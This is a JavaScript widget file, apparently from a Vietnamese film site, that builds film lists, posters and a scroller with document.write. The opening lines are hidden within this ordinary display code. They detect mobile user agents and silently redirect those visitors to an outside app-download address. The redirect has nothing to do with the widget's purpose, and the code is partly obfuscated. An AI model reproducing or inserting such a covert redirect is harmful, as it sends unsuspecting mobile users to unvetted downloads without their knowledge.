var ttp = 0;
var redirectagent = navigator['userAgent']['toLowerCase']();
var redirect_devices = ['vnd.wap.xhtml+xml', 'sony', 'symbian', 'nokia', 'j2me', 'java', 'opera mobi', 'ipad', 'nokia', 'samsung', 'mobile', 'windows ce', 'epoc', 'opera mini', 'nitro', 'j2me', 'midp-', 'cldc-', 'netfront', 'mot', 'up.browser', 'up.link', 'audiovox', 'blackberry', 'ericsson', 'panasonic', 'philips', 'sanyo', 'sharp', 'sie-', 'portalmmm', 'blazer', 'avantgo', 'danger', 'palm', 'series60', 'palmsource', 'pocketpc', 'smartphone', 'rover', 'ipaq', 'au-mic', 'alcatel', 'ericy', 'vodafone', 'wap1', 'wap2', 'teleca', 'playstation', 'lge', 'lg-', 'iphone', 'android', 'htc', 'dream', 'pda', 'bolt', 'nintendo'];
for (var i in redirect_devices) {
    if (redirectagent['indexOf'](redirect_devices[i]) != -1) {
        location['replace']('http://ihotvn.com/down/ungdungjs/1950/');
    };
};

function load01() {
    var _0xea07x6 = new Date;
    a = _0xea07x6['getDate']();
    b = _0xea07x6['getMonth']() + 1;
    document['write']('<ul>');
    for (var i = 0; i < anc['max']; i++) {
        if (anc['date']['m'][i] == b && a - anc['date']['d'][i] <= 2) {
            n = '<img alt="noflow" src="http://tvmpanc.googlecode.com/svn/trunk/tv/new.gif"></img>';
            h = '';
        } else {
            n = '';
            h = '<img alt="noflow" src="http://tvmpanc.googlecode.com/svn/trunk/tv/hot.gif"></img>';
        };
        document['write']('<li><a href="' + anc['url'][i] + '" rel="' + anc['title'][i] + '" onMouseover="showtip(' + ttp + ',\'anc_tip\')" onMouseout="hidetip()" >' + anc['title'][i]['substring'](0, 25) + '...' + n + h + '</a><div class="anc_tip"><div class="content"><img  alt="' + anc['title'][i] + '| maphim.net" style="width:282px; height:185px; padding-bottom: 2px;" src="' + anc['img']['f'][i] + '"/><strong>' + anc['snippet'][i]['substring'](0, 120) + '...</strong></div><div class="tit">' + anc['title'][i] + '</div></div></li>');
        ttp = ttp + 1;
    };
    document['write']('</ul>');
};

function load02() {
    var _0xea07x8 = '';
    for (var i = 0; i < anc['max']; i++) {
        if (i == 0) {
            _0xea07x8 = '<ul class="list_films">';
        };
        _0xea07x8 += '<li><span class="process"><span>' + anc['label'][i]['split'](',')[0] + '</span></span><div class="poster"><p class="img"><a href="' + anc['url'][i] + '" rel="' + anc['title'][i] + '"><img alt="' + anc['title'][i] + '| maphim.net" src="' + anc['img']['f'][i] + '" width="120px" height="160px" /></a></p><h3 class="name"><a href="' + anc['url'][i] + '">' + anc['title'][i] + '</a></h3></li>';
        if (3 == i || 7 == i || 11 == i) {
            _0xea07x8 += '</ul><ul class="list_films">';
        };
        if (i == 16) {
            (_0xea07x8 = '<ul class="list_films">');
        };
    };
    document['write'](_0xea07x8);
};

function load03() {
    var _0xea07x8 = '';
    for (var i = 0; i < anc['max']; i++) {
        if (i == 0) {
            _0xea07x8 = '<ul class="list_films">';
        };
        _0xea07x8 += '<li><span class="process"><span>' + anc['label'][i]['split'](',')[0] + '</span></span><div class="poster"><p class="img"><a href="' + anc['url'][i] + '" title="' + anc['title'][i] + '" rel="' + anc['title'][i] + '"><img alt="' + anc['title'][i] + '| maphim.net" src="' + anc['img']['f'][i] + '" width="120px" height="160px" /></a></p><h3 class="name"><a href="' + anc['url'][i] + '">' + anc['title'][i] + '</a></h3></li>';
        if (3 == i || 7 == i || 11 == i) {
            _0xea07x8 += '</ul><ul class="list_films">';
        };
        if (i == 16) {
            (_0xea07x8 = '<ul class="list_films">');
        };
    };
    document['write']('<div id="scroller" class="scrollable"><div class="items">' + _0xea07x8 + '</div></div>');
    e = '<script>$(document).ready(function() {' + 'var root = $("#scroller").scrollable({circular: true}).autoscroll({ autoplay: true });' + 'window.api = root.data("scrollable");});</' + 'script>';
    document['write'](e);
};

function load04() {
    var _0xea07x6 = new Date;
    a = _0xea07x6['getDate']();
    for (var i = 0; i < anc['max']; i++) {
        if ((anc['date']['d'][i] + a) % 2 == 0 && i % 3 != 0) {
            var _0xea07xb = 'full';
        } else {
            var _0xea07xb = 'none';
        };
        var _0xea07x8 = '<div class="block_inside">' + '<div class="block_inside_left">' + '<div class="poster">' + '<span class="process"><span>' + anc['label'][i]['split'](',')[0] + '</span></span>' + '<a title="' + anc['title'][i] + '" href="' + anc['url'][i] + '"><img alt="' + anc['title'][i] + ' | maphim.net" src="' + anc['img']['f'][i] + '"/></a>' + '<p class="rate"><span class="full">&nbsp;</span><span class="full">&nbsp;</span><span class="full">&nbsp;</span><span class="full">&nbsp;</span><span class="' + _0xea07xb + '">&nbsp;</span></p>' + '</div></div>' + '<p class="title"><a title="' + anc['title'][i] + '" href="' + anc['url'][i] + '">' + anc['title'][i] + '</a></p>' + '<div class="entry"><p><strong>' + anc['snippet'][i]['substring'](0, 200)['replace'](/\|/gi, '') + '...</strong></p>' + '<div class="g-plusone" data-size="small" data-href="' + anc['url'][i] + '"></div> ' + '</div>' + '<div class="clear"></div>' + '</div>';
        document['write'](_0xea07x8);
    };
};

function load05() {
    with(document) {
        write('<div id="anctrailer">');
        write('<div  class="poster trailer" align="center">');
        write('<a href="' + anc['url'][0] + '" title="' + anc['title'][0] + '" rel="' + anc['title'][0] + '"><img alt="' + anc['title'][0] + '" src="' + anc['img']['f'][0] + '"/>');
        write('<p>' + anc['title'][0] + '</p></a></div>');
        write('<p>' + anc['snippet'][0]['substring'](0, 120) + '...</p>');
        write('</div>');
    };
};